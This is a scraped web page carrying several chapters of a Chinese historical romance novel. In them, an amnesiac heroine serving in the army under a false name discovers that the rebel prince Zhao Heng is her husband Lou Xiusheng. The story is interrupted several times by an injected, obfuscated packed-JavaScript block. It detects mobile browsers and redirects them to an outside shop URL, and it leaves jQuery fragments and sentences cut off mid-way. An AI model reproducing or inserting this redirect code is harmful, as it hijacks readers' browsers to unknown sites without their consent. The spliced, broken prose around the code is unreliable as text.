偏偏那日,不知从哪里来的沙尘妖风将街上人吹得晕头转向,舒月蓉挑着卖花的担子行路艰难,与同样被吹得看不清前路的孔肃撞了个满怀。 “啪!”担子落地,花枝被吹上了天。 两人看着这幕目瞪口呆,顾不上捡起担子,舒月蓉便被孔肃拉进最近的酒家暂时躲避。两人抖抖身子,沙子撒了满地,抬头相视一眼,不由得笑出声。 撞翻了人家担子的孔肃颇为不好意思,承诺会给舒月蓉补偿,买下那些已经不知被吹到何处的花。舒月蓉则连忙摇头推辞说是上天作祟,怎么好讹上孔肃。 一个说要给钱,一个说不会收。僵持不下之际,外头的沙尘暴还远远没有要停下的迹象,反正上不了路也不赶时间,两人索性问店家要一壶清酒小酌,坐上酒桌慢慢掰扯这事。 结果孔家人遗传性的酒量差劲,舒月蓉也不怎么会喝酒。一夜宿醉,再醒来居然发现自己和这个陌生男人一夜春风共眠于榻上,她登时吓得落荒而逃。 心中惶惶不安回了家,刚过了个中午就听见街上的兵卒声势浩大地拿着画像寻人。画上人眼睛鼻子嘴巴清清楚楚,一看就知道是舒月蓉。 她两眼一黑。 暗恨自己喝酒误事,却只好颤颤巍巍站出来,战战兢兢跟着士兵打算去自首减刑。结果这群士兵居然恭恭敬敬请她上了马车,就在舒月蓉不知道怎么回事之际,马车停在了将军府前。 她两眼又一黑。 拖着一双软腿进去,见到身穿铠甲正经危坐的孔肃,舒月蓉“噗通”一声跪倒在地,眼泪汪汪先发制人道: “大将军,昨、昨夜是我的错,只希望您高抬贵手留我、留民女一条小命,民女、民女下半辈子当牛做马报答您。” 说着说着,舒月蓉的头越来越低,快狠不得埋到地里去了。 正穿着最威风的衣服开屏的孔肃傻眼了,急急忙忙把舒月蓉扶起来,见她眼眶红红顿时急了:“这种事怎么能是女人的错呢?” “我找你来不是要问你的罪,什么当牛做马,我的牛我的马多得很。我找你来是想问你,我,你,你可愿,我能不能……哎呀!”话临出口,孔肃燥红了脸,一时间支支吾吾说不出来。 在一旁看热闹的下属头一次见将军这副手足无措的样子,又见将军的心上人浑身抖得像筛糠子似的,连忙替孔肃说全了话。 “将军想问您愿不愿意嫁给他呢!” 舒月蓉惊呆了。 说这话的下属被孔肃狠狠瞪了一眼,这种事情当然要自己来说,怎么能由他人代说呢。 下属缩了缩脖子,内心腹诽:要是您再半天说不出话,来之不易的大嫂就要被您吓跑啦! 开头像场闹剧,幸好结果美好。 孔肃力排众议要娶平民,护国公来了几封信都劝不动,只好应下这件门不当户不对的婚事,只说让孔肃带儿媳回来一趟让他见一见。 孔肃担心毫无家庭背景的舒月蓉回京城会遭刁难,想都不想直接回信拒绝,又遭护国公好一通骂,却硬着脖子不低头。 他做这些事时为避免舒月蓉担心,全都瞒着。舒月蓉偶然听人讲起此事,知道自己刚过门就受到了公公的不喜,吓得又险些昏倒。 舒月蓉埋怨孔肃不和她商量就替她做决定,孔肃一见她委委屈屈的小模样就有些心痒,哄着哄着又哄到了床上去,气得舒月蓉好几天不愿他说话。 如此两三年过去,孔肃驻守西北鲜少回京,舒月蓉也从没见过远在京城的护国公和孔英。 前几天得到孔肃的消息,说妹妹来了西北,舒月蓉顿时如临大敌,前前后后检查了好几遍准备给孔英的房间,不清楚孔英喜欢什么,索 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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怎么没人告诉她,这从未见面的小姑子竟长得如此……英气逼人,乍看上去比孔肃孔穆二兄弟还要好看。尤其是脸上那道浅浅的伤疤,天哪,简直快帅死她了。 是的,人人都知道舒月蓉是个社恐,而几乎没什么人知道她还是个重度颜控。 当初要不是孔肃那张脸,恐怕舒月蓉还很难答应两人的婚事。而察觉这点的孔肃则经常利用这点,只要他顶着这张脸求一求妻子,舒月蓉便昏了头,什么过分的要求都能答应下来。 不过也正是知道了自己的妻子多么容易被美色迷惑,孔肃对各种人严防死守,府上下人只招清秀以下者,平日出门也借口防风沙,哄着舒月蓉带上幂篱,为的就是防止妻子跟着别的漂亮男人跑了。 此刻孔肃一见舒月蓉羞涩的神情,心里暗道不妙。 光顾着防男人,忘记防女人了! 于是不着痕迹地插进舒月蓉与自家亲妹妹中间,用宽阔的身躯挡住妻子的视线,试图唤醒她的理智和对家庭的责任感,面色不善地对孔英道: “你自己逛逛府上,别累着你嫂子。平常没什么事也别打扰她,老大不小的人了,自己事情自己做,知道了没?” 说罢,拉着目光缠绵的舒月蓉走了,留下孔英还在原地对兄长的变脸不明所以。 39. 孔英要南下会赵衡 没等休假结束,孔英就被孔肃赶回了军营,在此见到了她的二哥,孔穆。 兄弟二人性情很不相同。孔肃是直爽豪迈的将军,孔穆则是足智多谋运筹帷幄的军师。 护国公为兄弟二人安排的是一武一文,一外一内,相互辅佐共同护国。孔穆本在国子监中读书,曾是太子伴读,在乡试中一下子就考中举人,次年又在会试中考中贡士。 护国公乐得直拍手叫好,只等二儿子在会试中一鸣惊人,踏上平步青云的官路。 结果孔穆居然摔掉笔杆不考了,直言科举无用八股害人。护国公担心这番大逆不道的话传出去给护国公府带来麻烦,又气他不把自己的前途当回事,将孔穆软禁府中,打算等殿试之日将他押去考场。 护国公终归是武将,在战场上或许谋略算计比得过涉世未深的孔穆,奈何孔穆的脑子也不蠢笨。他早就暗中跟大哥递了信,得知二弟有难,孔肃连夜派人入京将人解救出来。 甚至一不做二不休,直接将人接到了千里之外的西北驻地。 当然,其中少不了孔英打掩护拖延时间。其实要不是当时她年纪尚小,恐怕她也跟着哥哥去了西北。 当护国公发现孔穆不见时,孔穆的马已经跑出老远,再追不上。能怎么办?只好捏着鼻子承认孩子们都承了他的性子,根本不是会被规矩约束住的人,还一个两个都往西北跑。 哦,现在是三个了。 天晓得京城的护国公得到孔肃快马加鞭送回去的信时是何种心情,原本还期待着是许久不见的大儿子的家书,结果一目十行看下来,攥着信纸的手按出了深深的印子,护国公却恍然不觉。 怒火中烧,不敢相信自己百般宠爱的小女儿居然独自在外遭受了如此磋磨,还害得孔英不得不暂留西北不能回家,恨不得立刻就找出害孔英坠崖的人将其千刀万剐。 同时又有身为父亲难以言说的欣慰。刚出生时那个瘦小到被他一手抱在怀里的小女儿,已经成长为了可独当一面的人,甚至还靠着自己一战成名,爬上了百夫长的位置。 护国公也是军营中闯荡出来的人,最清楚其中的辛酸艰难,他都不敢想孔英是经历多少磨难才有如此成就,更加心疼女儿的经历。 只是护国公不明白,分明追风阁已经被自己连根拔除,先前对孔英下追杀令的人也被查出是个名叫“郭广”的男子,在南至郡时和孔英有些利益纠纷,现已被问责下狱,不会再对孔英造成威胁。 这一批杀手又是何人派出? 当初孔英刚成亲就受不了无聊的深宅,与楼修生继续出门闯荡。他只当是女儿年纪尚小心性未定,有楼修生在一旁照顾应当不会出什么大事,也便放心让两人走了。 与孔肃的猜测不同,护国公不愿怀疑多年好友的亲传弟子、救过孔英性命的楼修生,反而忧心两人恐怕是共同遭到了追杀,这才音信全无。 思来想去,护国公动身去了国师府。 重重谜团犹如云雾缭绕在他心头,如今敌人在暗我在明,他不能向任何人透露有关孔英的消息,不然就是害了自己的女儿。 孔英被人所救,那么楼修生现在是死是活?如果活着,难不成是像孔英一样失忆了,不然怎么半点消息都没传出来? 国师燕寒松正好不在府中,孔青雄便去了府上庭院等他归来。 两人时常相聚在庭院中的亭子里约着喝茶下棋,孔青雄对上燕寒松往往五有四输,不过就算只赢一句,也足够他炫耀上三天。 仔细数数,两人相识足有二十年了,燕寒松是孔青雄见过最聪明的人,当初他俩一文一武辅佐南渐鸿,简直就是天下无敌,是何等少年义气。如今多年过去,他耳鬓白发渐生,也是老了。 “青雄缘何叹气,难不成是我府上的茶不合你胃口?” 孔青雄顺声望去,就见燕寒松悠悠摇着羽扇走上亭子,一身长袍落座于他对面,风度翩翩温文尔雅,其年轻时还被称作“玉面诸葛”。 “是喝不惯,怎么感觉和你别的茶不太一样。” 燕寒松道:“这茶可不常见,是有人专门送来作谢礼的,被你牛饮,真是浪费啊浪费。” 孔青雄知道他在说笑,便也笑着说:“这么好的东西,我走时可要带走些。” 寒暄过后该说正事,孔青雄正琢磨着如何开口,却听燕寒松主动问起来:“孔英还是没有来信?” 孔青雄心中想法被说出来,整个人先是一惊,后又觉得正常。毕竟这一年里他没少跟好友吐槽,说女儿有了丈夫忘了爹。 “是啊,也不知道她和楼修生两个人到底是跑到哪里去了,居然这么久不来消息。”对着好友,他不知怎么还是瞒了下来。 燕寒松将羽扇放在桌上,招来下人换另一种常喝的茶,宽慰道:“楼修生那小子为人稳重,又对孔英一片痴心,总不会出什么事。” 说得也是。孔青雄不怎么怀疑楼修生的另一个原因,就是他看得出楼修生是真心爱慕孔英,反而自家女儿尚懵懵懂懂,好些时候对楼修生的示好无动于衷。 “只是一直没有消息,我心里总归不踏实。” 之前陪两人一起下江南的侍卫回来复命时说,两人已经到了楼修生曾隐居的住所,并且相处融洽,时常是小姐欺负姑爷,姑爷纵容小姐。 燕寒松亲自上手泡茶,暗红色的茶水从细长的壶嘴流出浇在茶宠上,一整套动作行云流水,漂亮地像是表演。 “你若不放心,再派人去看一看就是。正好你许久未见女儿,我也许久未见徒弟,索性将两人接回京城好好团聚。” 孔青雄见他如此坦然,心头最后一丝疑虑也烟消云散,反而自责不该怀疑好友。他如今知道孔英那里必然是出了问题,不过他决定按照燕寒松所说再派人去探查一番,总要知道当时到底发生了什么。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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在她梦里有孔肃孔穆孔青雄,还有从前交好的一些伙伴。孔英甚至想起自己从京城一路到江南,路上发生了许多她从未预见的事,还认识了许多压根接触不到的人。 不过…… 孔英总觉得这些事情应当是有什么人陪她一起经历的,可是对方在梦中的面容却一直模糊不清。按照孔肃的说法,这人应该就是她的夫君楼修生。但为什么她想起了许多人,却一直想不起楼修生呢? 如今听见“赵衡”二字,她心底一颤,熟悉的头痛又来了,好像有一只手在她脑袋里搅来搅去,原本一团乱麻的记忆更是错乱不堪。 “我去吧。” 正为派哪些人南下而争论的众人静了一会瞬,齐齐转头看向右手撑着头颅的孔英。她唇色发白,额头因疼痛渗出细汗,目光坚定看向惊诧的大哥和二哥,再次主动请缨: “我带人南下,会一会这赵衡。” 40. 孔英要行军逢故人 领着军队向东南行,一路走过大半个山河,孔英心中无限感慨。 想当初她第一次走这条路时,还是记忆全无的耿碧,与姐姐耿红一起投奔军营。一年之后物是人非,她也得知自己其实是护国公家三小姐。 人生际遇何等奇妙。如果不是孔英突发奇想参军,恐怕还不知道要何时才能恢复自己的身份。 夜深,军队就地安营扎寨。 孔英在床上辗转反侧。去年的水灾迫使许多人无家可归,此次赵衡能集结起人数庞大的军队,与天灾人祸都脱离不了干系。昨天战报再来,前朝复辟军又拿下一座城池,据说是城主不战而降,打开城门时还高呼前赵主的名号。 按照这个速度下去,一年不到,前朝军就将攻到京城。 不过根据他们打探到的消息,好歹搞清楚为何赵幽王昏庸无道,却有这么多前朝将领愿意跟随赵衡。 赵衡其人,并非赵幽王的子孙,按照辈分来说该是他的侄子。 这又要牵扯到赵氏王朝最后的辉煌时刻的君主——赵文帝。与弟弟赵幽王截然相反,文帝在位期间励精图治任人唯贤,开创了一个盛世王朝。 可惜天妒英才,或许是积劳成疾,仍处于壮年的赵文帝生了一场重病,举全国上下之力而无法治愈,最后文帝下旨不用再为他耗费更多资源,病逝于龙榻上。 没有人知道这位足以青史留名的君主在最后时刻,是真的坦然赴死,还是心有不甘。只是在丧钟鸣响的一刻钟之后,赵王宫内发生了一场血腥惨烈的政变。 弟弟带领禁军强行闯入王宫,屠杀所有不愿效忠自己的文臣武将,拒绝承认哥哥传位给独子、由国师监国的遗诏,反而拿出另一道文帝的亲笔圣旨,昭告天下自己将成为赵氏王朝的下一任君王。 谁也不知道赵幽王究竟是从何时开始谋划这一刻,准备之充分、下手之狠辣、行动之迅速,几乎是打了所有人一个措手不及。等终于有人反应过来,赵幽王已经成为了王朝的正统继承人,有权力调动王朝军队镇压所有异心者。 继位后,幽王开始挥霍哥哥留下的政治遗产,大兴改革却改不到实处,反而让许多人趁此机会牟利;贪恋美色流连后宫,允许宠妃在奏折上用朱笔画画;遵从法家思想用酷吏和严刑峻法,诞生出许多闻所未闻的残酷刑法。 种种罪孽,难以一一道来。 所有人都知道皇位来源不正当的赵幽王失道寡助,各地起义不断,其中势力最为庞大的,要数以南渐鸿为首的起义军,后来南渐鸿将幽王亲手斩杀于大殿之上。 而这赵衡,就是当年险些以四岁之身成为幼帝的废太子。 要说起他的人生,也算是坎坷。父皇早逝,母后被幽王杀害,自己从小就被赵幽王软禁在府上,度过了一个堪称凄惨的童年。赵朝覆灭之后沦落民间,据说是被文帝心腹暗中保护起来,卧薪尝胆十余年,暗中蛰伏,率领前朝军归来,誓要光复赵朝。 就从他能短短时间连下四城,就可见其民心和军事实力超出孔英等人的想象。 实在是棘手。 孔英翻身下床到外头走走。此行不只有她,二哥孔穆也被派来,只是对方营帐早就黑了灯。想找耿红聊聊天,但对方这几天连着赶路水土不服,下午才吐过酸水,现在还是不去打扰,让她好好休息。 孔英现在身份不同以往,大哥孔肃为方便她领兵带将,特地给她升了官,旁人尊称孔英为耿指挥使,路过的兵卒都得停下来给她打招呼。孔英心里还不太适应,索性往人少处走。 越走越远,竟走出了营地。 她身上衣衫单薄,幸好现在的天气已经逐渐转热,不用担心着凉。太阳还没落山之时,孔英就觉得这片山林颇为熟悉,好像是从前出门闯荡时曾路过。 孔英皱着眉头思索,依稀记得自己当时似乎是受了伤,是为什么来着?哦,是因为遭人追杀马车坠翻。这么看来她这个人还真挺难杀,别人这么多次想要她的命,她却总能大难不死。 不对,她都已经受了重伤,怎么又自己爬到悬崖峭壁上去了呢? 回忆得太投入,孔英像是亲身回到了那天。 从那么高的山崖滚落,没怎么休息又开始爬另一座山。粗喘着,呼吸间牵动身上的伤。伤口经简单处理后不至于阻碍行动,便又冲着峭壁上那株红色的灵草爬去。 这种草药真难摘啊,孔英怎么也够不着。时间紧迫性命不等人,她心一横,用粗壮的藤蔓将自己和大树绑到一起,小心翼翼摸索着,攀着崖壁往下。心惊胆战,好不容易摸到灵草的叶子,顾及某人“灵草需要连根拔起”的嘱咐,孔英用尖锐的石头一点点凿开灵草附近的土和石,费了好大劲才取到这罕见的灵草根。 害,她那时还真是艺高人胆大。现在想想,但凡某个环节出了差错,估计她就提前坠崖,且不知道有没有第二个耿红救下她。 孔英被自己的想法逗笑,继而又因脑海中看不清晰的面容疑惑起来: 她当时到底是为了救谁,将自己置于如此危险的境地呢? “孔英姑娘?” 她听见声响回头,没想到在此碰上了熟人,惊喜道:“虞老板,秦兄!” 眼前的妙丽女郎和执剑侠客,不就是虞鱼和秦嵇吗! 孔英笑道:“没想到在此碰上你们。” 虞鱼原本只是远远瞧着眼熟,喊出声后发现转过来的人是个男人扮相,本以为自己唐突,结果真是那个英气爽利的姑娘,感慨道:“是啊,我还欠着孔姑娘一次调香呢。” 当时孔英被一碗刀削面蛊惑了心神,专门打听到虞鱼的制香手艺高超,还去求些做饭用的香料。她直到现在才回过味来,虞鱼制作的香压根就不是用来烹饪的,也就是自己傻呼呼地想一出是一出,跑去人家铺子里买香。 旧事重提,孔英颇不好意思:“没事,反正现在我也不方便用香,虞老板愿意让我插队就已经很好了。” 虞鱼摇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17288460|198482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头:“不,当初是我该谢谢你。若不是你的一番话,我恐怕现在打不开心结。” 她当初说了什么吗?孔英想来想去也不觉得自己说过什么特别的话,只好将责怪失忆症还没好全。 “你们是要往何地去?”孔英见两人背着行囊一副赶路的样子,好心提醒,“往南去局势不稳,还是小心些。” 虞鱼和秦嵇相视一眼,苦笑:“我们要去找我们的……师傅,一个月前有人曾见他在江南出现。” 他们的师傅向来是个无拘无束的自由性格,当年的事情发生后更是刻意回避虞鱼。上一次得到消息说他在江南,结果没几天后就爆发了前朝军谋反的消息,事发地点正是南方。 得知此事后虞鱼一直心神不定,正好秦嵇云游至绮香镇,两人就一起上路。 江南?根据情报,江南现在已经是前朝军的势力范围,若虞秦二人的师傅真在江南,怕是凶多吉少。 孔英一时语塞,不知道如何开口。 虞鱼仿佛看出了她的忧虑,宽慰道:“师兄武力高强,我们自保应当不成问题。”说着看向身边一言不发的秦嵇。 原来他俩是师兄妹。孔英见识过秦嵇的剑术,虞老板和秦嵇师出同门,想来身手也不会差到哪里去。 她和虞老板有交情。加之当初出了南至郡,孔英遭到追风阁杀手追杀重伤之际,是秦嵇救下她,又一路同行去往真岱郡,路上对她多有照拂,此刻孔英不可能放任两人以身犯险。 思量之下,孔英开口道:“不如你们同我一道走。” 虞鱼惊讶:“姑娘也要南下?” 无法,孔英只好向两人介绍自己化名耿碧,女扮男装进军营还混成了指挥使。 听完她的一番遭遇,虞鱼不由地竖起大拇指:“孔姑娘真是女中豪杰。”孔英在对方真诚的赞赏下居然有些心虚,摸摸鼻子干笑着应下。 “这……怕是不方便。”一直寡言少语的秦嵇难得开口,面上有些为难,“我们二人无心参军,要以什么身份同军队一起上路呢。” 征战期间,两个来历不明的人贸贸然同军队一起上路,怕是难免招致怀疑。 “这个不成问题。” 饥荒和战争使得大量百姓流离失所,有的死在半路上,有勉强活着逃出来的遇上朝廷军队,军队也会给予临时庇护,至少能将民心稳定下来,以免造成更大范围的动乱。 “你们本就是去寻亲,且秦兄有功夫在身,也不会给我们造成额外麻烦。到了地方你们就去找你们的师傅,当是答谢秦兄先前在我危难之际伸出援手。” 秦嵇对孔英的抱拳同样回礼:“孔姑娘客气。” 事情就这么算是定下,孔英领着二人回到军队驻地,差人安置好虞秦二人。 秦嵇临走前突然问起:“怎么不见楼微?”他可是记得楼微对孔英简直是半步不离,黏乎得紧。 孔英愣住,心神震荡了一瞬,下意识追问:“谁是楼微?” 41. 孔英要对峙见情人 那日秦嵇提起楼微,孔英脑海里更加迷糊,似乎真相就在那里却总隔着一层迷雾。冥冥之中,她跑去问二哥楼微是谁。孔穆神情怪异,吐出一句: “楼微就是楼修生。” 继而她又了解到自己幼年时和楼修生一同长大,幼年时孔肃孔穆还嫉妒孔英亲近楼修生胜过亲生哥哥。 从前的青梅竹马,如今的新婚丈夫,为何她想起了所有人,却偏偏想不起楼修生的面容呢? 或许是白天为许多事烦忧过了头,孔英晚上一闭上眼,各种念头都冒了出来。惹得她觉也睡不好,次日醒来顶着两个硕大的黑眼圈,整日都差点精神。 随军大夫给孔英开了安神汤,但那汤药实在难以下咽。孔英试过一口,只觉得本来有的睡意也要被苦没了。 最后还是虞鱼听说孔英困扰于失眠多梦,亲自送来一个香囊。 “姑娘晚上挂在床头试试。” 孔英接过精致小巧的香囊一闻,只觉得心神舒畅浑身懒洋洋,惊奇道:“你这香囊里头不会是装了迷药吧,怎么效果如此立竿见影。” 虞鱼掩嘴一笑:“真正的迷药我倒也会配,不过这可是我试过多种古方才调配出来,里头装了十余种助眠药材,没效果才怪呢。” 孔英乐了:“虞老板还真是多才多艺,这也是跟你师傅学的?” 提起生死不明的师傅,虞鱼脸上笑意渐淡:“是,而且我还仅学到师傅的十分之七八。” 孔英听这话倒是起了好奇。虞鱼能在人人制香的绮香镇崭露头角,就能看出她制香手艺之高超,居然有人比虞鱼还厉害。 说起来这师傅也真是个奇人,不仅教了虞鱼制香,还教给秦嵇剑术。如有机会,孔英还挺想和这人切磋切磋,只是不知道有没有机会一见。 行军路远,有了虞鱼赠送的香囊,接下来一路上孔英都睡了个安稳觉,养足精神,只等与那赵衡比划比划。 这一路上她听说了不少有关赵衡的事。 传言说他他神机妙算无遗策,手下将领个个骁勇善战,且长相俊朗风度翩翩,颇有当年赵文帝的风采。如此这般,又吸引不少当年经历过前朝的老人偏向他。 孔英想不通,分明当今的皇帝干得挺好,甚至用十几年时间,将原本受战争所害的萧条大地治理得生机勃勃。原本一切都安稳下来了,偏生这赵衡又挑起争端,害人又得面对战乱的阴霾。 要是赵衡真像传说中一般体恤民众,怎么又来当这么个恶人呢? “笨。” 孔肃将折扇合起往她头上一敲,在小妹的怒目下耸了耸肩膀:“你以为所谓征战靠得只是战场上得胜负?” 这一下敲得可真不轻,孔英捂着额头纳闷:“不然呢?” 她本就是靠着战场上杀敌才升官,况且要不是本朝将领士兵英勇,把草原上的异族给打趴下了,现在朝廷面临的就是外患未平、内忧又起的局面。 “非也非也。”孔肃摇摇头,“我承认小妹功夫高超,但你一人还敌得过千军万马?” 他恨铁不成钢:“你呀,真是看话本子看傻了。若你当年听胡夫子教导多看些史书,就会知道当今圣上刚起义时,身边将领士卒刚刚过百,可后来他却成了最大赢家。” 赵幽王昏庸,可他接手的毕竟是个曾辉煌过的王朝。瘦死的骆驼比马大,怎么这样一个拥有精锐部队的庞大王朝,怎么就输给了彼时名不见经传的南渐鸿呢? 孔英不由得低头思索起来,她虽然确实不爱看史书,却爱听护国公老爹讲的那些传奇故事。除开占大部分的吹牛瞎侃,他还谈起过一件小事。 当时正值寒冬腊月战事吃紧,后方补给不足。孔青雄见与自己浴血奋战的兄弟没死在战场上,却差点要死在鹅毛大雪里,再忍不了,带着人马上山砍树,烧火取暖。 结果树都砍完了,突然一群人出来说这树是他家私人种的,孔青雄砍了他的树,就得花大钱来买。孔青雄本来还心怀愧疚觉得自己闯了祸,毕竟他也知道“冻死不拆屋,饿死不掳掠”的道理,结果一听对方说的价钱,直接气笑了。 对方开出的价,比煤炭的价格还高。 孔青雄不愿当冤大头,那些人空口白牙说着有没个凭证,他怎么知道这话是真是假?再说,砍树这么大的动静,那些人硬生生等他们都结束了才跳出来,这不就是摆明了要宰他们嘛! 双方僵持不下之际,得知情况的燕寒松带人匆匆赶来。劝好了正在发火的孔青雄,又将准备好的银两按那伙人说的价钱买下这些木材。 事后孔青雄质问燕寒松难道看不出来这是个局,燕寒松却哈哈大笑说:“山人自有妙计。” 回去后,燕寒松派人大肆宣扬此事。时人称南渐鸿仁德宽厚,带出来的军队也是如此,家家户户献出棉被棉袄,帮他们度过了这个格外寒冷的冬天。 年幼时的孔英听了觉得不解,一个小故事真有这么大的号召力? “兵书上计谋千千万,而赵衡用的这招,叫作‘攻心为上’。”孔肃循循善诱问道,“你猜猜,攻的是哪个心?” 福至心灵,孔英脱口而出:“是民心!” 孔肃满意于小妹的悟性,接着道:“所以呀,赵衡私底下是什么样的人只有他身边人知道,但是他得让百姓都知道他正直高尚,是个为报血海深仇埋伏十余年的义士,如此这般才有更多人愿意追随他。” “人们喜欢听故事,一个好的故事往往能传播到意想不到的程度。” 看完密信,将脆弱的纸张置于摇曳的烛火上,见火舌一寸寸吞噬白纸黑字,面容隐匿在暗处的人笑得得意。 “好徒儿,你真是将老夫的手段学了十成十。” - 紧赶慢赶,援军总算赶到了苦苦支撑的怀州,他们来得很巧,正赶上前朝军攻城。 烈日当空,前方喧嚣声震耳欲聋,敌军如乌云般铺天盖地而来。刀枪如林,数不清的人马汇成一股汹涌的洪流,直逼城下。 “守住城门!” 战鼓声震彻四野,敌军涌向城门,巨大的冲车在人群的推动下缓缓前行,每一下撞击都让厚重的城门剧烈颤抖。守城的将士咬紧牙关,推来沙袋和石块堆在门后,拼尽全力加固城门。 敌军的攻势愈发猛烈,喊杀声震天动地。 眼见不断有伤员被抬下,孔英迅疾地大步登上城头。左手托起重逾百斤的硬弓,右手迅速抽出一支羽箭,手臂猛然发力,弓弦被拉成满月,目光顺着箭尖锁定敌军中正敲击战鼓的鼓手。 “嗖”一声,羽箭破空而出,带着凌厉的啸音直奔目标。下一刻,鼓手咽喉中箭,鼓槌掉落,战鼓声戛然而止。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17288461|198482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孔英动作不敢停歇,连续开弓,每一箭都精准狠辣,每击必中。 敌军的弓箭手迅速调转方向,朝着她所在的位置射来密集的箭雨。蹲下身躲过尖锐的利箭,箭矢擦过盔甲发出“铮铮”声,孔英手心早已被汗水浸湿,握着弓弦的手指由于不停施力微微发颤。 从城头探出头,目光穿过战场的硝烟与混乱,最终锁定敌军首领所在的位置。那人身披华贵的铠甲,正骑在一匹高头大马上,低头与身边人商议着什么。 这个距离太远。 孔英深吸了一口气,试图平复莫名加速的心跳,缓缓抬起硬弓,比之前更加谨慎而专注。从箭囊中抽出一支特制的精铁箭,箭尖在阳光下泛着冷冽的寒光。 半跪于垛口后,身体微微前倾,将全部注意力集中在目标上,因专注而放空的头脑中只剩下那个身影。弓弦逐渐被拉满,就在那人将要抬头的一刹那,孔英果断放箭。 箭头旋转着飞射而出,时间被无限拉长。 一头乌黑的长发被整齐地束起,用镶嵌宝石的金冠固定,几缕碎发随风轻扬。 即便身处战场,男人的外貌依然引人注目。皮肤透着病态的白,略显瘦削的脸庞上唇色淡淡,鼻梁挺直,一双狭长的狐狸眼微微上挑,眉形修长秀气,眼波流转间透着一股阴柔冷漠之美。 当孔英看清那张脸,手上猛然一颤,弓弦发出低沉的嗡鸣。 一瞬间天地仿佛旋转起来,耳边的喊杀声变得模糊,取而代之的是一阵阵轰鸣。她的太阳穴突突直跳,身体晃了一下,手掌撑地避免一头栽倒,记忆如潮水般涌来。 “在下楼微。” “你那时最喜欢用我的名字练习,就算其他字写得像狗爬,也会将这两个字写得端端正正。” “怎么办呢孔英,如果有一天我让你失望了,你会责怪我吗?” “我爱慕你却不愿强迫你,若是陪你走这一遭却什么都没能改变,那我便会自请退婚,不再打扰你。” “忍不了。” …… 赵衡如今身披敌军铠甲,站在对面的阵营中,目光冰冷地看着这座城池,察觉直冲他飞来的箭镞,反应极快地抬手用剑打落,皱起的眉头连带着双眼,直直看向孔英所在的方位。 “原来是你……”她的声音几乎淹没在战场的喧嚣中。 身旁一名兵卒惨叫着倒下,温热的鲜血溅到孔英的眼睛里。这声哀嚎像一记重锤,将她从震惊与迷茫中猛然拉回现实。士兵在地上痛苦挣扎,那张年轻的脸庞因为剧痛而扭曲得不像人样。 孔英握紧双手,指节因用力而泛白,眼神从恍惚变得坚定。 “我早该想起来。” 她站直身体,目光锁定敌军首领。手中的硬弓再次举起,动作没有丝毫犹豫,箭尖直指对方的头颅。孔英嘴唇抿成一条直线,随即坚决地松开弓弦。 她不能有失误,怀州需要一场胜仗。 赵衡的目光与她的视线在半空中交汇,狐狸眼中先是闪过一丝惊喜,随即涌现出难以掩饰的激动。 他嘴唇微张,想要喊出一个在心头流转过千百遍的名字。 周围的一切都变得不重要,赵衡唯恐一切是梦境,放轻呼吸,用一种近乎贪婪的目光凝视着站在城头的孔英,好像完全看不到那一只想要他性命的箭。 42. 孔英要坦言解真相 “你是没看到,那新来的耿指挥使射箭百发百中,一箭射穿了赵衡的右耳,迫使敌军撤军啦!”怀州军打了胜仗,士兵们欢呼雀跃,百姓们奔走相告,将指挥使的英勇事迹描绘得神乎其神。 刚来便打了个胜仗,孔穆颇为满意,和众将领一起商讨接下来的对策。有人提议应乘胜追击抢回更多失地,也有人说怀州先前经历苦战,需得有时间休养生息。 一直争论到烈日西沉还没个结果,议事厅内的人群陆续散去,只剩下孔英和孔穆。烛火摇曳,将两人的影子拉长。 孔英关上门,转身时脸上的神情满是复杂与疲惫,看着正仔细研究布防图的孔穆,喉头发涩: “二哥。” 孔穆一愣。为避嫌和避免不必要的麻烦,孔英一直以耿碧身份自居,这还是她第一次在军营里叫自己二哥。觉察到孔英表情有异,他放下布防图拉着孔英坐下。 “怎么了,脸色如此难看,是不是累着了?”孔穆宽慰道,“你今日可是狠狠出了一次大风头,街头巷尾快把你吹捧成天神了。” 孔英垂头不敢直视孔穆关切的眼睛,终是声音沙哑地开口:“是我错了,是我引狼入室。” 孔穆闻言诧异,却听孔英唯恐他追问般继续说着: “楼修生,就是赵衡。” 手中的折扇“啪”地掉落在地。一系列前因后果都被串联起来,孔穆咬着牙:“小妹,你全都想起来了是不是?那当初你坠崖,是不是他的手笔!” 孔英手指深深掐进掌心。 “当初我撞破了他和前朝遗民的书信往来,才知道原来楼修生是赵帝的亲儿子,而且贼心不死想要复辟赵朝。我想回京城告诉爹真相,结果半路上就被一群杀手逼得跳崖去博一线生机。 “那时候想杀我的人太多,我不知道那波杀手是不是他派出来的,但总归和这件事脱不了干系。” 